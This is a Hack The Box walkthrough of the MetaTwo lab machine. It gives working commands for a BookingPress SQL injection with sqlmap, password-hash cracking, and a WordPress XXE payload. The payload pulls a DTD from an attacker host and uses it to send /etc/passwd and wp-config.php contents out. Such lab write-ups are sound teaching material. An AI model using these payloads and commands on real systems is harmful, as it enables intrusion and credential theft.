
Join The Best Hacking Community Worldwide | Hack The Box
Over half a million platform members exhange ideas and methodologies. Be one of us and help the community grow even further!
www.hackthebox.com
Enumeration
Nmap
We’ll run an Nmap scan to identify any open ports on the target host.
ports=$(nmap -p- --min-rate=1000 -T4 10.129.228.95 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.228.95 -v -oN nmap_tcpThe Nmap scan reveals that FTP is available on port 21, SSH is listening on port 22, and an Nginx web server is running on port 80.
HTTP
When we browse to port 80, we’re redirected to the domain metapress.htb. To resolve this locally, we’ll add an entry for metapress.htb in the /etc/hosts file, mapped to the target’s IP address.
echo "10.129.228.95 metapress.htb" | sudo tee -a /etc/hostsNavigate to http://metapress.htb in the browser.

We see a link to the events page, and at the bottom of the site we can see that it is running WordPress.

We can use the curl command to enumerate Wordpress.
Version:
└──╼ $curl -s http://metapress.htb | grep WordPress
<meta name="generator" content="WordPress 5.6.2" />
Proudly powered by <a href="https://wordpress.org/">WordPress</a>. </div><!-- .powered-by -->
Themes:
When we follow the link to the events page, we find an event scheduler service.

Let’s run the curl command to enumerate plugins.
└──╼ $curl -s http://metapress.htb/events/ | grep plugins
<link rel='stylesheet' id='bookingpress_element_css-css' href='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/css/bookingpress_element_theme.css?ver=1.0.10' media=
'all' />
<SNIP>The site is running the BookingPress plugin version 1.0.10. While researching vulnerabilities, we identified that version 1.0.19 is affected by an Unauthenticated SQL Injection.
To proceed, we’ll extract the _wpnonce value as shown in the proof of concept.
└──╼ $curl -s http://metapress.htb/events/ | grep wpnonce
var postData = { action:'bookingpress_generate_spam_captcha', _wpnonce:'2879e180c4' };
<SNIP>We confirmed access to /wp-admin/admin-ajax.php by checking the robots.txt file and then manually browsing to the URL.


Next, we’ll run the following curl command to test the SQL injection, including the _wpnonce value.
The response confirms the SQL injection, so we can move on to using sqlmap, which automates the detection and exploitation of SQL injection vulnerabilities. As a first step, we’ll enumerate the available databases.
└──╼ $sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=2879e180c4&category_id=123&total_service=-111" -p total_service --level=5 --risk=3 --dbs
<SNIP>
available databases [2]:
[*] blog
[*] information_schema
<SNIP>Two databases are returned: blog and information_schema. We’ll now focus on the blog database and enumerate its tables.
Let’s dump the contents of wp_users table.
The wp_users table contains the password hashes for the admin and manager. Save the hashes in a file.
admin:$P$B<SNIP>.TV.
manager:$P$B<SNIP>6Q70Crack the hashes using John The Ripper.
└──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt wp_hash
Created directory: /home/knuckl3s/.john
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pa<SNIP>ar (manager) We have cracked the password for manager. As shown in robots.txt, the default wordpress login pages exists at /wp-login sub-directory. We can log in as manager.

After logging in, we can see the Wordpress admin dashboard.

The site is running WordPress version 5.6.2. A quick Google search reveals a list of vulnerabilities for this release.
Since metapress.htb is using PHP version 8.0.24 (as identified with Wappalyzer), one noteworthy issue is this vulnerability, which relates to the Media Library being affected by an authenticated XXE (XML External Entity Injection) flaw impacting PHP 8.

In the proof of concept, a relative path is used to retrieve the wp-config.php file. This is helpful, as it means we don’t need to know the absolute path. To proceed, we’ll need two files: payload.wav and evil.dtd.
First, we’ll create payload.wav with the payload below, which will trigger the download of the evil.dtd file on the remote host.
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.7:8080/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > paylaod.wavNext, we’ll create evil.dtd with the following payload. When parsed by the remote host, this will cause it to send the base64-encoded contents of the /etc/passwd file to our local HTTP server.
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.7:8080/?p=%file;'>" >Let’s start a Python web server on port 8080.
python3 -m http.server 8080Upload the .wav file onto the Wordpress Media section.

After uploading the file, our web server receives a request containing the base64-encoded data.
10.129.228.95 - - [08/Sep/2025 19:49:56] "GET /evil.dtd HTTP/1.1" 200 -
10.129.228.95 - - [08/Sep/2025 19:49:57] "GET /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmF<SNIP>TA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -Decoding the base64 string gives us the content of the /etc/passwd file.
We can see that the user jnelson exists on this host.
Next, we’ll attempt to retrieve the wp-config.php file, as it contains the WordPress configuration details. We can do this by updating the evil.dtd file with the following payload.
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.7:8080/?p=%file;'>" >Repeat the same process and get the contents of the wp_config.php file.
The wp-config.php file reveals the FTP credentials which we can use to login to the FTP server.
ftp 10.129.228.95

While enumerating the FTP file system, we find a file named send_email.php. After downloading and opening it, we discover another set of credentials inside.
<SNIP>
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_<SNIP>u@Ys";
<SNIP>We can login over SSH and obtain the user flag.
└──╼ [★]$ ssh jnelson@10.129.228.95
<SNIP>
jnelson@meta2:~$ ls
user.txt
jnelson@meta2:~$ cat user.txt
c2dc<SNIP>d431Privilege Escalation
While enumerating the user’s home directory, we notice a .passpie folder. For further reference, we can consult the official documentation
The passpie export <export_file_destination> command exports the credentials saved in passpie in plaintext.
jnelson@meta2:~/.passpie$ passpie export password.db
Passphrase:
Passphrase:
Passphrase:
Passphrase:
Error: Wrong passphraseWhen prompted for a passphrase, we realise we don’t know it. As Passpie relies on GnuPG, we check the .passpie directory and find a file named .keys.
jnelson@meta2:~/.passpie$ ls -al
total 24
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 2022 .
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 2022 ..
-r-xr-x--- 1 jnelson jnelson 3 Jun 26 2022 .config
-r-xr-x--- 1 jnelson jnelson 5243 Jun 26 2022 .keys
dr-xr-x--- 2 jnelson jnelson 4096 Oct 25 2022 sshLooking at the contents of the .keys file, we see both public and private key.
jnelson@meta2:~/.passpie$ cat .keys
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
<SNIP
=dqsF
-----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
<SNIP>
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----Let’s download this file to our local machine using scp.
└──╼ [★]$ scp jnelson@10.129.228.95:/home/jnelson/.passpie/.keys ./keys
jnelson@10.129.228.95's password:
.keys We’ll remove the public key block from the file, since only the private key is needed to crack the password. Next, we generate a password hash from the private GPG key using gpg2john and save it as keys.hash.
└──╼ [★]$ gpg2john keys > keys.hash
File keysUse John The Ripper to crack the hash.
We can now export the Passpie passwords in plaintext. Let’s review the contents of the password.db file.
We will switch to root using this password. The root flag can be obtained from the /root directory.
jnelson@meta2:~$ su root
Password:
root@meta2:/home/jnelson# cat /root/root.txt
7911<SNIP>3e83References
- https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357/
- https://wpscan.com/wordpress/562/
- https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5/
- https://passpie.readthedocs.io/en/latest/
- HTB Official Walkthrough for MetaTwo